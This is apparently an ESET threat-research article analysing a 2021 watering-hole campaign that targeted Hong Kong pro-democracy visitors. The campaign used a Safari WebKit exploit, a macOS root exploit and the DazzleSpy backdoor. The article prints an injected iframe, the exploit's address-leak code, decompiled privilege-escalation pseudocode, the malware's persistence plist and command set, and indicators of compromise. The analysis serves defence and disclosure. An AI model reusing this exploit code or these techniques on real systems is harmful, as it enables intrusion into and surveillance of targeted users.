

Watering hole deploys new macOS malware, DazzleSpy, in Asia

[welivesecurity.com/2022/01/25/watering-hole-deploys-new-macos-malware-dazzlespy-asia](https://www.welivesecurity.com/2022/01/25/watering-hole-deploys-new-macos-malware-dazzlespy-asia)

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On November 11th, Google TAG published a [blogpost](#) about watering-hole attacks leading to exploits for the Safari web browser running on macOS. ESET researchers had been investigating this campaign the week before that publication, uncovering additional details about the targets and malware used to compromise its victims. Here we provide a breakdown of the WebKit exploit used to compromise Mac users and an analysis of the payload, which is a new malware family targeting macOS. But first, let's look at how victims came into contact with the malicious code in the first place.

Targets

It was [reported](#) by Felix Aimé from SEKIOA.IO that one of the websites used to propagate the exploits was a fake website targeting Hong Kong activists. We can read on its home page “Liberate Hong Kong, the revolution of our times”. The very recent registration date of the `fightforhk[.]com` domain, October 19th, 2021, and the fact that the website is no longer accessible, supports that idea. We could also confirm that the [Internet Archive](#) cached a copy of the web page on November 13th. This copy includes the malicious iframe, as seen in Figure 1.



Figure 1. *fightforhk[.]com*, as archived by the Wayback Machine on November 13th

ESET researchers found another website, this time legitimate but compromised, that also distributed the same exploit during the few months prior to the Google TAG publication: the online, Hong Kong, pro-democracy radio station D100. As seen in Figure 2, an iframe was injected into pages served by *bc.d100[.]net* – the section of the website used by subscribers – between September 30th and November 4th 2021.

Both distribution methods have something in common: they attract visitors from Hong Kong with pro-democracy sympathies. It seems that they were the primary target of this threat.

```
...
<div class="d_p_l">
<iframe src="https://amnestyhk.org/ss/defaultaa.html" width="0" height="0"></iframe>
<div class="type-name">
  訂購服務
...

```

Figure 2. Excerpt of *https://bc.d100[.]net/Product/Subscription* on November 4th 2021

The exploit chain

As seen in Figure 3, the page hosted on the malicious *amnestyhk[.]org* domain checks for the installed macOS version and redirects to the next stage if the browser is running on macOS 10.15.2 or newer.

```
<!DOCTYPE html><!--STATUS OK-->
<html>
  <head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
    <script>
var ua = window.navigator.userAgent;
var patt = new RegExp("OS X ([\\d._]+)", "gi");
var os_ver = patt.exec(ua)[1];

if(os_ver=='10_15_3' || os_ver=='10_15_4' || os_ver=='10_15_5' || os_ver=='10_15_6' || os_ver=='10_15_7' || os_ver.startsWith("11"))
{
document.location.href="/ss/4ba29d5b72266b28.html"
}else{
document.location.href="/9THZ7jEQLLM8.html"
}
    </script>
  </head>
  <body>
  </body>
</html>

```

Figure 3. Content of the *defaultaa.html* page on *amnestyhk[.]org*

The next stage, named *4ba29d5b72266b28.html* (see Figure 4) simply loads the JavaScript containing the exploit code – *mac.js*.

```

<!DOCTYPE html>
<html>
  <head>
    <style>
      body {
        font-family: monospace;
      }
    </style>
    <!-- <script src="caps.js"></script-->
    <script src="mac.js"></script>
  </head>
  <body>
  </body>
</html>

```

Figure 4. Content of the 4ba29d5b72266b28.html page

Note that the script tag to load caps.js has been commented out. The previous version of the exploit loaded Capstone.js from that file, while in the new version, Capstone.js is prepended to the exploit code in mac.js.

The WebKit exploit

The exploit used to gain code execution in the browser is quite complex and had more than 1,000 lines of code once formatted nicely. It's interesting to note that some code, which suggests the vulnerability could also have been exploited on iOS and even on PAC-enabled (Pointer Authentication Code) devices such as the iPhone XS and newer, has been commented out, as seen in Figure 5.

```

568 for (let i = 0; i < 10000; ++i) { // DFG(2000 on iOS)
569   unused = bar(vic);
570 }
...
757 // Detect pac machine
758 let is_pac = false; //constructor_ptr.hi() > 0x10 ? true : false;
...
1046 //if (IS_IOS) {
1047   if (false) {} else {
1048     let shellcode = setup_shellcode(memory, cur_offset);

```

Figure 5. Excerpt of the JavaScript exploit containing comments about how to target iOS and PAC-enabled devices

We have confirmed that the patch identified by Google TAG does fix the vulnerability. While it is possible this vulnerability was assigned CVE-2021-1789, we couldn't confirm due to the lack of publicly available technical details. Below we outline our understanding of how the vulnerability affects Safari versions prior to 14.1.

The exploit implements two primitives to gain memory read and write access: one to leak the address of an object (addrof) and one to create a fake JavaScript object from a given memory address (fakeobj). Using these two functions, the exploit creates two arrays of different types that overlap in memory, and thus is able to set a value in one of them that is treated as a pointer when accessed using the other. The technique is well described by Samuel Groß in his multiple publications on the subject. Below we explain the vulnerability that made the leakage of object addresses possible.

The exploit relies on a side effect caused by modifying an object property to be accessible via a “getter” function while enumerating the object’s properties in JIT-compiled code. The JavaScript engine erroneously speculates that the value of the property is cached in an array and is not the result of calling the getter function. We have extracted the relevant part of the code that enables the addrof primitive, which you can see in Figure 6. Comments starting with (e)r are from ESET Research.

```

let doBad = () => {};
const PROP_LEAK = 'gs';

function Bad() {
  this[PROP_LEAK] = 0x41414141; // leak helper
}

Bad.prototype = new Proxy({}, {
  getPrototypeOf() {
    doBad();
    return {};
  }
});

function bar(target) {
  for (var p in target) { // (e)r: Will call getPrototypeOf (and doBad) while
                        // enumerating properties of `target`.
    if (p == PROP_LEAK) {
      return target[p]; // (e)r: The JIT-compiled version will assume
                        // `target[p]` can be accessed "quickly", from
                        // a cached array of values.
    }
  }
};

let vic = new Bad();
let unused;

// (e)r: Make sure `bar` is JIT-compiled by executing it multiple times
for (let i = 0; i < 10000; ++i) { // DFG(2000 on iOS)
  unused = bar(vic);
}

function getter() {
  return 13.37;
}
getter[0] = [unused, 0x42, 0x43, 0x44];
doBad = () => {
  // (e)r: Introduce a side-effect that will not trigger the recompilation of
  // `bar`. Meaning the internal structure of the `vic` object will
  // change, while the JIT-compiled version of `bar` runs.
  Object.defineProperty(vic, PROP_LEAK, {
    get: getter,
  });
}

vic = new Bad();
let leaker = Object(bar(vic));
// (e)r: `bar(vic)` should return 13.37, but instead returns the JSCell of the
// property getter/setter.
//
// Converting this Cell into an Object will wrongfully cast it to a
// Symbol. In this corrupted object, this Symbol's value happens
// to be at the same offset as `getter[0]`. So when this value is
// set later, it changes the first 8 bytes of the value of the symbol to
// the address of our object.

function addrof(obj) {
  getter[0] = obj;
  let leakStr = leaker.toString();
}

```



```
let leakStr = leakier.toString();
// (e)r: leakStr will contain "Symbol([address of obj][...])"
...
```

Figure 6. Commented excerpt of the exploit enabling the leak of object addresses

The first corruption happening here is the result of `bar(vic)`. The function will return a pointer to a `JSCell` object (to be more precise, a `GetterSetter`), which should never be accessible from the JavaScript code. Here is the result of `describe(bar(vic))` in a JavaScriptCore console:

Cell: 0x7fffb34dc080 (0x7fff38cc4c8:[0x3af5, **GetterSetter**, {}, NonArray, Leaf]), StructureID: 15093

This `JSCell` is then converted to a `JSObject` by calling the JavaScript Object function. Internally, this results in calling the `JSCell`'s `toObject` method. There is no implementation for converting a `GetterSetter` to a `JSObject` and the code will eventually fall back and assume its type is a `Symbol`. The `GetterSetter` will erroneously be cast to a `Symbol`. You may have noticed the assertion that the cell type is a `Symbol` before performing the cast in the code; however, the `ASSERT` macro in WebKit is compiled out of release builds.

In memory, the location of `getter[0]` is the same as this corrupted symbol's value. Thus, reassigning a value to `getter[0]` will change the value of the symbol. Its value is fetched from JavaScript using its `toString` method.

The updated JavaScriptCore code now checks whether the object contains properties with `GetterSetter` after the property enumeration, before considering whether the object's attribute can be accessed "quickly".

Detailing the fake object creation would require an article of its own. In short, it abuses the same bug, although this time the object is manipulated in a way that the JIT-compiled code accesses an item that is out-of-bounds and returns an address that was carefully sprayed on the heap before the fetch.

The rest of the code allows bypassing mitigations, such as the `Gigacage`, and loads the next stage.

As explained by Google TAG, the JavaScript loads a Mach-O executable file in memory. The rudimentary loader does not implement importing symbols from external libraries; instead, the addresses of `dlopen` and `dlsym` are patched into the loaded Mach-O. These can then be used from the executable to dynamically load and get the addresses of functions from external libraries.

Privilege escalation to root

Now that code execution has been gained, the next stage is a Mach-O that is loaded into memory and executed. This Mach-O exploits a local privilege escalation vulnerability to run the next stage as root. Our examination confirms Google's analysis that the exploited vulnerability was described by Xinru Chi and Tielei Wang in a presentation at zer0con 2021, but it was also presented in more details at MOSEC 2021 by Tielei Wang. The vulnerability has been assigned [CVE-2021-30869](#). Figure 7 shows a call to a function Tielei Wang called `adjust_port_type` in his last presentation. This function, responsible for changing the internal type of a Mach port, is implemented the same way in the Mach-O as was presented at MOSEC. Changing the type of a Mach port shouldn't be possible unless a vulnerability exists.

```
Pseudocode-B
50 _mach_host_self = mach_host_self();
51 v2 = mach_memory_object_memory_entry_64(_mach_host_self, TRUE, 4096LL, 3LL, 0LL, v28);
52 v3 = *v28;
53 v22 = v2;
54 adjust_port_type(v3, IKOT_NAMED_ENTRY, IKOT_HOST_PRIV);
55 v4 = v27;
56 *v27 = 0;
57 special_port = host_get_special_port(*v28, 0LL, 2LL, v4);
```

Figure 7. Altering the port type from `IKOT_NAMED_ENTRY` to `IKOT_HOST_PRIV` to gain access to special (privileged) Mach ports

To summarize, the Mach-O does the following:

1. Downloads a file from the URL supplied as an argument
2. Decrypts this file using AES-128-EBC and TEA with a custom delta
3. Writes the resulting file to `$TMPDIR/airportpaired` and makes it executable
4. Uses the privilege escalation exploit to remove the `com.apple.quarantineattribute` from the file to avoid asking the user to confirm the launch of the unsigned executable
5. Uses the same privilege escalation to launch the next stage with root privileges

The decrypted payload is where our analysis differs the most from what was described by Google TAG: the payload delivered to vulnerable visitors to the D100 site was new macOS malware we named DazzleSpy.

DazzleSpy

DazzleSpy is a full-featured backdoor that provides attackers a large set of functionalities to control, and exfiltrate files from, a compromised computer. Our sample is a Mach-O binary file compiled for x86_64 CPU architecture.

Persistence

In order to persist on the compromised device, the malware adds a Property List file (plist; see Figure 8) named `com.apple.softwareupdate.plist` to the `LaunchAgents` folder. The malware executable file is named `softwareupdate` and saved in the `$HOME/.local/` folder.

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
  <key>KeepAlive</key>
  <true/>
  <key>Label</key>
  <string>com.apple.softwareupdate</string>
  <key>ProgramArguments</key>
  <array>
    <string>/var/root/.local/softwareupdate</string>
    <string>1</string>
  </array>
  <key>RunAtLoad</key>
  <true/>
  <key>SuccessfulExit</key>
  <true/>
</dict>
</plist>
```

C&C communications

DazzleSpy connects to a hardcoded C&C server; the IP address and port found in the sample we decrypted was 88.218.192[.]128:5633. At first, the malware performs a TLS handshake, then uses a custom protocol to exchange JSON objects to deliver commands from the C&C server to compromised Macs. DazzleSpy's binary contains an X.509 certificate used as a certificate authority (CA). It verifies that the server's certificate is issued by that authority. In practice, the same self-signed certificate is used for both the CA and the C&C server. The technique protects the malware's communications from potential eavesdropping by refusing to send data if end-to-end encryption is not possible.

Table 1 contains the list of commands supported by DazzleSpy. The first column is the name of the command that must be present in the JSON object received from the C&C server; many support optional or mandatory parameters.

Table 1. DazzleSpy C&C commands

Command name	Purpose
heartbeat	Sends heartbeat response.
info	Collects information about compromised computer, including: <ul style="list-style-type: none"> • Hardware UUID and Mac serial number • Username • Information about disks and their sizes • macOS version • Current date and time • Wi-Fi SSID • IP addresses • Malware binary path and MD5 hash of the main executable • Malware version • System Integrity Protection status • Current privileges • Whether it's possible to use CVE-2019-8526 to dump the keychain
searchFile	Searches for the specified file on the compromised computer.
scanFiles	Enumerates files in Desktop, Downloads, and Documents folders.
cmd	Executes the supplied shell command.
restartCMD	Restarts shell session.
restart	Depending on the supplied parameter: restarts C&C command session, shell session or RDP session, or cleans possible malware traces (fsck_hfs.log file and application logs).
processInfo	Enumerates running processes.
keychain	Dumps the keychain using a CVE-2019-8526 exploit if the macOS version is lower than 10.14.4. The public KeySteal implementation is used.
downloadFileInfo	Enumerates the supplied folder, or provides creation and modification timestamps and SHA-1 hash for a supplied filename.
downloadFile	Exfiltrates a file from the supplied path.
file	File operations: provides information, renames, removes, moves, or runs a file at the supplied path.
uninstall	Deletes itself from the compromised computer.

Command name	Purpose
RDPInfo	Provides information about a remote screen session.
RDP	Starts or ends a remote screen session.
mouseEvent	Provides mouse events for a remote screen session.
acceptFileInfo	Prepares for file transfer (creates the folder at the supplied path, changes file attributes if it exists).
acceptFile	Writes the supplied file to disk. With additional parameters, updates itself or writes files required for exploiting the CVE-2019-8526 vulnerability.
socks5	Starts or ends SOCKS5 session (not implemented).
recoveryInfo	These seem like file recovery functions that involve scanning a partition. These functions do not seem to work and are probably still in development; they contain lots of hardcoded values.
recovery	

Artifacts

While analyzing the DazzleSpy binary we found a number of interesting artifacts that might suggest an internal name for the malware and the authors' origin.

In several places (for example, see Figure 9) the malware refers to `osxrk` and the string `1.1.0` seems likely to be an internal version number.

```

if ( (v707 & 1) != 0 )
{
    v55 = objc_msgSend(val, "V_ID");
    v706 = objc_retainAutoreleasedReturnValue(v55);
    objc_msgSend(v990, "setObject:forKey:", v706, CFSTR("osxrkID"));
    objc_release(v706);
}
else
{
    objc_msgSend(v990, "setObject:forKey:", CFSTR("1.1.0"), CFSTR("osxrkID"));
}

```

Figure 9. Possible internal name and version number of the DazzleSpy malware

Moreover, it seems DazzleSpy's authors were not so concerned about operational security as they have left the username wanging in paths embedded in the binary. Figure 10 contains paths that reveal this username and internal module names.

```

/Users/wangping/pangu/create_source/poke/osxrk_commandLine/•
/Users/wangping/pangu/create_source/poke/osxrk_commandLine/exec.o•
/Users/wangping/pangu/create_source/poke/osxrk_commandLine/GCDAsyncSocket.o•
/Users/wangping/pangu/create_source/poke/osxrk_commandLine/CommandLine/•
/Users/wangping/pangu/create_source/poke/osxrk_commandLine/CommandLine/main_to.o•
/Users/wangping/pangu/create_source/poke/osxrk_commandLine/MethodClass.o•
/Users/wangping/pangu/create_source/poke/osxrk_commandLine/YYModel/•
/Users/wangping/pangu/create_source/poke/osxrk_commandLine/YYModel/NSObject+YYModel.o•
/Users/wangping/pangu/create_source/poke/osxrk_commandLine/Singleton.o•
/Users/wangping/pangu/create_source/poke/osxrk_commandLine/YYModel/YYClassInfo.o•
/Users/wangping/pangu/create_source/poke/osxrk_commandLine/Reachability.o•
/Users/wangping/pangu/create_source/poke/osxrk_commandLine/module/•
/Users/wangping/pangu/create_source/poke/osxrk_commandLine/module/FileClassObject.o•
/Users/wangping/pangu/create_source/poke/osxrk_commandLine/module/FileSearchClassObject.o•
/Users/wangping/pangu/create_source/poke/osxrk_commandLine/Directory.o•
/Users/wangping/pangu/create_source/poke/osxrk_commandLine/module/FileRecoveryClassObject.o•
/Users/wangping/pangu/create_source/poke/osxrk_commandLine/rcry.o•
/Users/wangping/pangu/create_source/poke/osxrk_commandLine/module/AutoupdateClassObject.o•
/Users/wangping/pangu/create_source/poke/osxrk_commandLine/module/RemoteDesktopClassObject.o•
/Users/wangping/pangu/create_source/poke/osxrk_commandLine/H264EncodeTool.o•
/Users/wangping/pangu/create_source/poke/osxrk_commandLine/module/MouseClassObject.o•
/Users/wangping/pangu/create_source/poke/osxrk_commandLine/module/KeychainClassObject.o•
/Users/wangping/pangu/create_source/poke/osxrk_commandLine/module/ProcessClassObject.o•
/Users/wangping/pangu/create_source/poke/osxrk_commandLine/module/ShellClassObject.o•

```

Figure 10. Paths embedded in the DazzleSpy binary

Once the malware obtains the current date and time on a compromised computer, as you see in Figure 11, it converts the obtained date to the Asia/Shanghai time zone (aka China Standard Time), before sending it to the C&C server.

```

1 id __cdecl -[MethodClass getDate](MethodClass *self, SEL a2)
2 {
3     id v2; // rax
4     id v3; // rdi
5     id v4; // rdi
6     NSTimeZone *v5; // rax
7     id v6; // rax
8     id v8; // [rsp+10h] [rbp-50h]
9     NSTimeZone *v9; // [rsp+18h] [rbp-48h]
10    id location; // [rsp+28h] [rbp-38h] BYREF
11    id v11; // [rsp+30h] [rbp-30h] BYREF
12    id v12; // [rsp+38h] [rbp-28h] BYREF
13    double v13; // [rsp+40h] [rbp-20h]
14    id v14[3]; // [rsp+48h] [rbp-18h] BYREF
15
16    v14[2] = self;
17    v14[1] = a2;
18    v2 = objc_msgSend(&OBJC_CLASS__NSDate, "date");
19    v14[0] = objc_retainAutoreleasedReturnValue(v2);
20    v13 = (objc_msgSend)(v14[0], "timeIntervalSinceNow");
21    v3 = objc_alloc(&OBJC_CLASS__NSDate);
22    v12 = objc_msgSend(v3, "initWithTimeIntervalSinceNow:", v13);
23    v4 = objc_alloc(&OBJC_CLASS__NSDateFormatter);
24    v11 = objc_msgSend(v4, "init");
25    v5 = objc_msgSend(&OBJC_CLASS__NSTimeZone, "timeZoneWithName:", CFSTR("Asia/Shanghai"));
26    v9 = objc_retainAutoreleasedReturnValue(v5);
27    objc_msgSend(v11, "setTimeZone:", v9);
28    objc_release(v9);
29    objc_msgSend(v11, "setDateFormat:", CFSTR("yyyy年MM月dd日 HH小时mm分ss秒"));
30    v6 = objc_msgSend(v11, "stringFromDate:", v12);
31    location = objc_retainAutoreleasedReturnValue(v6);
32    v8 = objc_retain(location);
33    objc_storeStrong(&location, 0LL);
34    objc_storeStrong(&v11, 0LL);
35    objc_storeStrong(&v12, 0LL);
36    objc_storeStrong(v14, 0LL);
37    return objc_autoreleasedReturnValue(v8);
38 }

```

Figure 11. Decompiled code of the `getSystemDate` function

In addition, it should be noted that the DazzleSpy malware contains a number of internal messages in Chinese, for example as seen in Figure 12.

```
else
{
    v576 = val;
    v177 = objc_msgSend(
        &OBJC_CLASS__NSString,
        "stringWithFormat:",
        CFSTR("\n%s\n%d\n%s"),
        "Singleton.m",
        828LL,
        "-[Singleton analysisData:Socket:]");
    v575 = objc_retainAutoreleasedReturnValue(v177);
    objc_msgSend(v576, "poError:location:", CFSTR("没有这个文件, 或者已经被删除!"), v575);
    objc_release(v575);
    v998 = 1;
}
```

Figure 12. Internal error message in Chinese

Conclusion

Given the complexity of the exploits used in this campaign, we assess that the group behind this operation has strong technical capabilities. While there is information published online about the local privilege escalation (LPE) vulnerability used here, we couldn't find anything about the specific WebKit vulnerability used to gain code execution in Safari. It's also interesting that end-to-end encryption is enforced in DazzleSpy and it won't communicate with its C&C server if anyone tries to eavesdrop on the unencrypted transmission by inserting a TLS-inspection proxy between the compromised system and the C&C server.

The watering-hole operations this group has pursued show that its targets are likely to be politically active, pro-democracy individuals in Hong Kong. This campaign has similarities with one from 2020 where LightSpy iOS malware (described by [TrendMicro](#) and [Kaspersky](#)) was distributed the same way, using `iframe` injection on websites for Hong Kong citizens leading to a WebKit exploit. We cannot confirm at this point whether both campaigns are from the same group, but ESET Research will continue to track and report on similar malicious activities.

Indicators of Compromise (IoCs)

Samples

SHA-1	Filename	ESET detection name	Description
F3772A23595C0B51AE32D8E7D601ACBE530C7E97	mac.js	JS/Exploit.Agent.NQK	JavaScript code with WebKit exploit launching an LPE.
95889E0EF3D31367583DD31FB5F25743FE92D81D	N/A	OSX/Exploit.Agent.C	Mach-O file with LPE launching next stage.

SHA-1	Filename	ESET detection name	Description
EE0678E58868EBD6603CC2E06A134680D2012C1B	server.enc	OSX/DazzleSpy	DazzleSpy Mach-O after decryption of server.enc.

Filenames

- \$HOME/Library/LaunchAgents/com.apple.softwareupdate.plist
- \$HOME/.local/softwareupdate
- \$HOME/.local/security.zip
- \$HOME/.local/security/keysteaDaemon
- \$HOME/.local/security/libkeysteaClient.dylib

Network

URLs of Safari exploit

- [https://amnestyhk\[.\]org/ss/defaultaa.html](https://amnestyhk[.]org/ss/defaultaa.html)
- [https://amnestyhk\[.\]org/ss/4ba29d5b72266b28.html](https://amnestyhk[.]org/ss/4ba29d5b72266b28.html)
- [https://amnestyhk\[.\]org/ss/mac.js](https://amnestyhk[.]org/ss/mac.js)
- [https://amnestyhk\[.\]org/ss/server.enc](https://amnestyhk[.]org/ss/server.enc)

DazzleSpy C&C server

88.218.192[.]128:5633

DazzleSpy CA certificate

SHA-256: 1F862B89CC5557F8309A6739DF30DC4AB0865668193FDF70BA93F05D4F8C8B8

- 1 Certificate:
- 2 Data:
- 3 Version: 1 (0x0)
- 4 Serial Number: 10557282746731470350 (0x928300b9284a1e0e)
- 5 Signature Algorithm: sha256WithRSAEncryption
- 6 Issuer: C=11, ST=11, L=11, O=11, OU=11, CN=11/emailAddress=11@qq.com
- 7 Validity
- 8 Not Before: May 18 07:26:17 2021 GMT
- 9 Not After : May 16 07:26:17 2031 GMT
- 10 Subject: C=11, ST=11, L=11, O=11, OU=11, CN=11/emailAddress=11@qq.com
- 11 Subject Public Key Info:
- 12 Public Key Algorithm: rsaEncryption
- 13 Public-Key: (2048 bit)
- 14 Modulus: ...

```

15 Exponent: 65537 (0x10001)
16 Signature Algorithm: sha256WithRSAEncryption
17 -----BEGIN CERTIFICATE-----
18 MIIDTCCAjQCCQCSgwC5KEoeDjANBgkqhkiG9w0BAQsFADBoMQswCQYDVQQGEwIx
19 MTELMaKGA1UECAwCMTEExCzAJBgNVBAMaJExMQswCQYDVQQKDAIxMTELMaKGA1UE
20 CwwCMTEExCzAJBgNVBAMMAJExMRgwFgYJKoZIhvcNAQkBFgkxMUBxcS5jb20wHhcN
21 MjEwNTE4MDcyNjE3WhcNMzEwNTE2MDcyNjE3WjBoMQswCQYDVQQGEwIxMTELMaK
22 A1UECAwCMTEExCzAJBgNVBAMaJExMQswCQYDVQQKDAIxMTELMaKGA1UECwwCMTEEx
23 CzAJBgNVBAMMAJExMRgwFgYJKoZIhvcNAQkBFgkxMUBxcS5jb20wggEiMA0GCSqG
24 Slb3DQEBAQUAA4IBDwAwggEKAoIBAQDFrP+LbCk9KhPH2gQ3V5IBWCpuM+yzBzn
25 ofL2RJiTMedP467Js4wzrP+qCkXs9STaOZCvYRFaCmfY9bG7PsrqG90OHf/kttG
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35 bKwsEwNcRwZWQu41ghFi/8MdqBxb2Nb9H4gCupqKdil=
36 -----END CERTIFICATE-----

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MITRE ATT&CK techniques

This table was built using version 10 of the MITRE ATT&CK framework.

Tactic	ID	Name	Description
Resource Development	T1583.001	Acquire Infrastructure: Domains	Domain names such as amnestyhq[.]org were acquired to use on compromised web servers.
	T1583.004	Acquire Infrastructure: Server	Servers (or virtual servers) were rented to serve WebKit exploits and used as C&C servers for DazzleSpy.
	T1584.004	Compromise Infrastructure: Server	A legitimate website was compromised to add an iframe loading malicious JavaScript code.
	T1587.001	Develop Capabilities: Malware	DazzleSpy is macOS malware developed to steal information from its victims.

Tactic	ID	Name	Description
	<u>T1587.003</u>	Develop Capabilities: Digital Certificates	DazzleSpy verifies the authenticity of its C&C server using an X.509 certificate.
	<u>T1587.004</u>	Develop Capabilities: Exploits	Undocumented Safari exploit was used to compromise the targets.
	<u>T1608.004</u>	Stage Capabilities: Drive-by Target	This operation compromised a website that is likely to be visited by its targets, to distribute malware.
Initial Access	<u>T1189</u>	Drive-by Compromise	The compromised website served the exploit to visitors using Safari on a Mac.
Execution	<u>T1569</u>	System Services	The exploit sends Mach messages to launchd to remove the quarantine flag and to kuncd to launch the malware.
Persistence	<u>T1543.001</u>	Create or Modify System Process: Launch Agent	DazzleSpy persists by installing a Launch Agent.
Privilege Escalation	<u>T1068</u>	Exploitation for Privilege Escalation	An LPE exploit for macOS is used to elevate privileges to root.
Defense Evasion	<u>T1620</u>	Reflective Code Loading	The LPE exploit downloading the next stage is loaded and executed in memory only.
Credential Access	<u>T1555.001</u>	Credentials from Password Stores: Keychain	DazzleSpy can steal credentials from the macOS keychain.
Discovery	<u>T1083</u>	File and Directory Discovery	DazzleSpy can be used to enumerate files in specific folders.
	<u>T1057</u>	Process Discovery	DazzleSpy can obtain the list of running processes.
	<u>T1082</u>	System Information Discovery	DazzleSpy can obtain the macOS version.
	<u>T1016</u>	System Network Configuration Discovery	DazzleSpy can obtain the IP address and Wi-Fi SSID.
	<u>T1033</u>	System Owner/User Discovery	DazzleSpy can obtain the current username from a compromised Mac.
	<u>T1124</u>	System Time Discovery	DazzleSpy can obtain the system time on a compromised Mac.
Collection	<u>T1005</u>	Data from Local System	DazzleSpy can search for documents on the compromised system.
	<u>T1113</u>	Screen Capture	DazzleSpy has the ability to record screen activity.
Command and Control	<u>T1071</u>	Application Layer Protocol	DazzleSpy uses a custom JSON-based protocol for its C&C communications.
	<u>T1132.001</u>	Data Encoding: Standard Encoding	DazzleSpy uses base64 to encode parts of its C&C communications.
	<u>T1573</u>	Encrypted Channel	DazzleSpy uses TLS encryption.

Tactic	ID	Name	Description
	<u>T1571</u>	Non-Standard Port	DazzleSpy uses TCP port 5633.
Exfiltration	<u>T1041</u>	Exfiltration Over C2 Channel	DazzleSpy exfiltrates data over its C&C communications channel.

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